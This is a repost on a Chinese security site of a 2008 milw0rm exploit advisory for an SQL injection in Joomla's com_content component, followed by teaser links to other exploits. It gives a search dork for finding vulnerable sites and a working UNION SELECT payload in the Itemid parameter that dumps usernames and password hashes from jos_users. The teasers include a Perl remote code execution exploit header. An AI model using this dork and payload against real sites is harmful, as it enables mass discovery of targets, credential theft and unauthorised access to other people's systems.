Joomla Component com_content 1.0.0 (ItemID) SQL Injection Vuln

所属分类: 网络安全 / Exploit 阅读数: 113
收藏 0 赞 0 分享
-------------------------------------------------------------------------------------------

Joomla Component com_content SQL Injection Vulnerabity

-------------------------------------------------------------------------------------------


Author : unknown_styler

Dork : inurl:com_content

POC : http://localhost/index.php?option=index.php?option=com_content&task=blogcategory&id=60&Itemid={SQL}

Example : http://localhost/index.php?option=com_content&task=blogcategory&id=60&Itemid=99999 union select 1,concat_ws(0x3a,username,password),3,4,5 from jos_users/*

------------------------------------------------------------------------------------------------------------------------------------

Greetings : h4ck-y0u.org

side note:

<name>Página de contenido</name>
<author>Projecte Joomla!</author>
<creationDate>July 2004</creationDate>
<copyright>(C) 2005 Open Source Matters. All rights reserved.</copyright>
<license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>
<authorEmail>admin@joomla.org</authorEmail>
<authorUrl>www.joomla.org</authorUrl>
<version>1.0.0</version>

# milw0rm.com [2008-07-08]
更多精彩内容其他人还在看

AlstraSoft Affiliate Network Pro (pgm) Remote SQL Injection Vulnerability

|___________________________________________________| | |AlstraSoft Affiliate Network Pro (pgm) Remote SQL Injection Vulnerability |
收藏 0 赞 0 分享

PHPizabi 0.848b C1 HFP1 Remote Code Execution Exploit

#!/usr/bin/perl #inphex #PHPizabi v0.848b C1 HFP1 Remote Code Execution #http://www.dz-secure.com/tools/1/WebESploit.pl.txt #if you
收藏 0 赞 0 分享

PhotoPost vBGallery 2.4.2 Arbitrary File Upload Vulnerability

vBulletin PhotoPost vBGallery v2.x Remote File Upload Found by : Cold z3ro e-mail : exploiter@hackteach.org Home page : www.H
收藏 0 赞 0 分享

HockeySTATS Online 2.0 Multiple Remote SQL Injection Vulnerabilities

############################################################### #################### Viva IslaM Viva IslaM #################### ## ##
收藏 0 赞 0 分享

Galatolo Web Manager 1.3a Insecure Cookie Handling Vulnerability

############################################################################################ #
收藏 0 赞 0 分享

php Help Agent

##################################################### # Author : BeyazKurt # Contact : Djm-sut@Hotmail.Com # # Script : php Help
收藏 0 赞 0 分享

Comdev Web Blogger

____________________ ___ ___ ________ _ _____/_ ___ / | \_____ | __)_ / // ~ / | | \
收藏 0 赞 0 分享

Pragyan CMS 2.6.2 (sourceFolder) Remote File Inclusion Vulnerability

<< In The Name Of GOD >> -------------------------------------------------------------
收藏 0 赞 0 分享

Galatolo Web Manager 1.3a

--== ============================================================================ ==-- --== Galatolo Web Manager 1.3a <= XSS / Remo
收藏 0 赞 0 分享

pSys 0.7.0 Alpha Multiple Remote File Inclusion Vulnerability

==================================================== | pSys v0.7.0 Alpha Multiple Remote File Include | (works only with
收藏 0 赞 0 分享
查看更多